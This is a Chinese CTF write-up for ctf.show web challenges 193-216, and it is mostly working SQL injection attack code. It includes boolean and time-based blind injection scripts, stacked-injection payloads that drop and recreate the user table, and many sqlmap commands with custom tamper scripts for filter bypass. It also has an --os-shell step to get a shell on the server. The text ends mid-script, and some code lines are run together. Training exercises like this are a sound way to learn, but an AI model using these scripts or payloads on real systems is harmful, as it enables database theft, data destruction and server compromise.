import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" column_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: column_name += j str1 += j print (column_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('列名为: ' + str (column_name))
爆数据
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" flag ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left((select f1ag from ctfshow_flxg),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag += j str1 += j print (flag) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('flag为: ' + str (flag))
web194(过滤+left,right) 使用mid()函数进行盲注
爆库名
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" database_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid(database(),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: database_name += j str1 += j print (database_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('库名为: ' + str (database_name))
爆表名
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" table_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: table_name += j str1 += j print (table_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('表名为: ' + str (table_name))
爆列名
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" column_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: column_name += j str1 += j print (column_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('列名为: ' + str (column_name))
爆数据
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" flag ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid((select f1ag from ctfshow_flxg),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag += j str1 += j print (flag) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('flag为: ' + str (flag))
堆叠注入 web195(过滤空格和*) 注意到过滤空格和*,由题目可知登录成功即获得flag,提交的用户名为0时显示密码错误,因此用堆叠注入更改密码
username:0 ;update `ctfshow_user`set `pass`= 1 password:1 提交两次可获得flag,第一次更改,第二次登录 注意pass后也有`
web196(伪过滤select) 此处由题目来说是过滤了select的,但是实际并没有,就可以通过select来进行堆叠注入
判断条件为$row[0]==$password
,row[0]就是结果这一行的第一个数据
payload为
username:0 ;select (1 ) password:1 原理为row [0 ]处理select (1 )时就会返回1 ,即$row [0 ]= = 1 ,和密码匹配
web197(+select) 这个题将select确实过滤,由于判断条件是登录表中用户,则可通过删除表中数据再重新添加实现
payload为(三选一均可)
username:1 ;drop table ctfshow_user;#删除原来的表ctfshow_user create table ctfshow_user(username varchar (100 ),pass varchar (100 )); #在ctfshow_user中新建两个最大长度为100 的字段insert ctfshow_user(username,pass) value (1 ,2 ); #为这两个字段赋值为1 和2 完整payload: username:1 ;drop table ctfshow_user;create table ctfshow_user(username varchar (100 ),pass varchar (100 ));insert ctfshow_user(username,pass) value (1 ,2 ); password:2 也可以通过alert的方法实现 username:0 ;alter table ctfshow_user drop pass;alter table ctfshow_user add pass int default 1 password:1 看wp还有一种和上题思路类似的 username:0 ;show tables password:ctfshow_user
web198(+create) 把上题的create禁用了,因此可用insert(插入)方法
payload为(二选一即可)
username:1 ;insert ctfshow_user(username,pass) value (1 ,2 ) password:2 原理为向表中插入一组数据,登录即可 username:0 ;show tables password:ctfshow_user
web199(+()) 把括号禁用,还可以用表名
patload为
username:0 ;show tables password:ctfshow_user
web200(+,) 过滤逗号,和上题一样的思路
username:0 ;show tables password:ctfshow_user
sqlmap使用 web201(UA,referer检查) 首先根据题目要指定agent和绕过referer检查,因此构造payload(-batch为自动选择)
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch 检测注入点,如下图,未指定UA也可以,可以进行时间盲注和union注入
爆库名
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -dbs
爆表名
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -columns
爆数据
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
web202(POST请求) 通过-data更换为POST请求方式
python sqlmap.py -u http://d18ed34e-1866 -4884 -b756-16f40334ff59.challenge.ctf.show/api/ --data id =1 --referer https://d18ed34e-1866 -4884 -b756-16f40334ff59.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
web203(PUT请求) 通过–method调整请求方式为PUT,并且加上–headers=”Content-Type: text/plain”,PUT
请求通常包含请求体(payload),因此需要通过headers来提供有关请求体的信息
python sqlmap.py -u http://724abbe9-4be1-4a25-b97d-e9c81b831563.challenge.ctf.show/api/index.php --data id =1 --method="PUT" --headers="Content-Type: text/plain" --referer http://724abbe9-4be1-4a25-b97d-e9c81b831563.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
web204(cookie) 要加上cookie值了,即添加–cookie
python sqlmap.py -u http://dcb44cf5-4c99-4186 -9a3a-9291fcf51b36.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" --cookie PHPSESSID=6sh7omtbvr2l5m9qd6po1ovoe6; ctfshow=803c499b0ad861be99cf0c1117d91dea -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
以下是对该题的waf
if ($_COOKIE ['ctfshow' ]!=$_SESSION ['ctfshow' ]){ die (json_encode (array ("token验证失败" ))); } if ('PUT' == $_SERVER ['REQUEST_METHOD' ]) { $put = file_get_contents ('php://input' ); if (substr ($put , 0 ,3 )=='id=' ){ $id =substr ($put , 3 ,strlen ($put )); } } if (!preg_match ('/sqlmap/i' , $ua )){ die (json_encode (array ("不使用sqlmap是没有灵魂的" ))); } if (!preg_match ('/ctf\.show/i' , $_SERVER ['HTTP_REFERER' ])){ die (json_encode (array ("打击盗版人人有责,你都不是从ctf.show来的" ))); } function waf ($str ) { return preg_match ('/ujn/' , $str ); }
web205(api鉴权) 要求api调用鉴权,在每次查询数据库时会先访问/getToken.php,于是使用–safe-url参数将url设置为api/getToken,再加上–safe-preq=1表示访问api/getToken一次(注意要重新爆表名)
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -dbs
爆表名
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -columns
爆flag
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump
web206(‘)闭合) 同web205即可,’)sqlmap会自动检测闭合,但是要重新爆表名
爆库名
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -dbs
爆表名
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -columns
爆flag
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv -dump
web207(绕过空格过滤) 使用–tamper中的space2comment.py绕过waf检测
爆库名
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -dbs
爆表名
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -columns
爆flag
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc -dump
web208(绕过select过滤) 加入对’select’ 的过滤,使用upppercase这个脚本
爆库名
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -dbs
爆表名
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -columns
爆flag
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca -dump
web209(绕过空格*=过滤) 由于tamper里面没有绕过这个的,所以自己写脚本实现,将以下代码在sqlmap/tamper里面存为text.py后使用
def tamper (payload, **kwargs ): space = chr (0x0d ) return payload.replace(' ' , space).replace('=' , space + 'like' + space)
爆库名
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -dbs
爆表名
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -T ctfshow_flav -columns
爆flag
python sqlmap.py -u http://1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="1c7f2459-c630-43b4-bfa8-35dcea23aacd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=text.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump
web210(绕过双重base64) 题目要对payload进行两次base64解密,因此通过脚本对payload进行两次加密就行,存为base.py使用(若存为base64.py会和原有脚本相似导致报错)
from base64 import b64encodedef tamper (payload, **kwargs ): payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) return payload
爆库名
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -dbs
爆表名
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -T ctfshow_flavi -columns
爆flag
python sqlmap.py -u http://bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="bb19cd29-3b8f-4d0e-b89f-57d486fed677.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=base.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx -dump
web211(绕过双重base64+空格过滤) 在上一题基础上还有匹配空格,结合脚本使用,存为yxing.py使用
from base64 import b64encodedef tamper (payload, **kwargs ): payload = payload.replace(' ' , '/**/' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) return payload
爆库名
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -dbs
爆表名
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -T ctfshow_flavia -columns
爆flag
python sqlmap.py -u http://436e4003 -030e-46e1 -995c-3c196a073685.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="436e4003-030e-46e1-995c-3c196a073685.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa -dump
web212(+*过滤) 不能把空格换为/**/了,即更改上题脚本,存为yxing1.py使用
from base64 import b64encodedef tamper (payload, **kwargs ): payload = payload.replace(' ' , chr (0x09 )) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) payload = payload[::-1 ] payload = b64encode(payload.encode('utf-8' )).decode('utf-8' ) return payload
爆库名
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -dbs
爆表名
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -T ctfshow_flavis -columns
爆flag
python sqlmap.py -u http://154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="154a1beb-07af-4b42-aae1-917f3c17a111.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa -dump
web213(getshell) 在上题基础上还要通过–os-shell一键getshell
python sqlmap.py -u http://689dbadd-5582 -48d9-8f86-e71080b370d5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="689dbadd-5582-48d9-8f86-e71080b370d5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=yxing1.py --os-shell
os-shell的使用条件 (1)网站必须是root权限 (2)攻击者需要知道网站的绝对路径 (3)GPC为off,php主动转义的功能关闭
注意在最后cat flag时是cat /ctfshow_flag(由于空格错了第一遍没找到)
时间盲注 web214(数字型无闭合) 一直找不到注入点,看了wp和视频,在主页猫那个位置有一个向api/index.phpPOST请求的包(但是我用火狐和chrome都抓不到,只有先做着了)
后面通过网上看wp发现可以通过猫那个页面的select.js响应找到该页面
通过POST传参发现ip和debug两个参数直接插入进查询语句中,测试是否能时间盲注
debug=1 &ip=if (ascii (substr(database(),1 ,1 ))=99 ,sleep(2 ),sleep(5 ))
如图可正常进行时间盲注(数据库第一个字母ASCII码为99,即c),写脚本来进行时间盲注(第一个手搓的脚本,花了三个小时,但是跑出来那一刻真的感觉好到爆!!!!)
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} ' ),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(4),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://0ea25f6a-a556-4083-bb9c-5a0404cf9f21.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web215(单引号闭合) 和上题一样的向api/index.phpPOST传参ip和debug,只不过要用单引号闭合,构造payload进行测试
debug=1 &ip=1 ' or if(ascii(substr(database(),1,1))=99,sleep(2),sleep(5))#
测试成功,更改上题脚本来进行时间盲注
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr(database(),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1' or if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://25d7140b-0e46-4acc-9114-db558df7419d.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web216(括号闭合) 题目要求对ip进行base64解码后查询,构造payload
debug=1 &ip=aWYoYXNjaWkoc3Vic3RyKGRhdGFiYXNlKCksMSwxKSk9OTksc2xlZXAoMiksc2xlZXAoNSkp
但是发现数据被括号闭合了,即手动闭合前括号,都不用base64加密了
测试成功,开始时间盲注
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr(database(),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"1) or if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',sleep(4),0)#" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=4 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://5834e11a-e430-4226-9791-6af509fe403a.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" 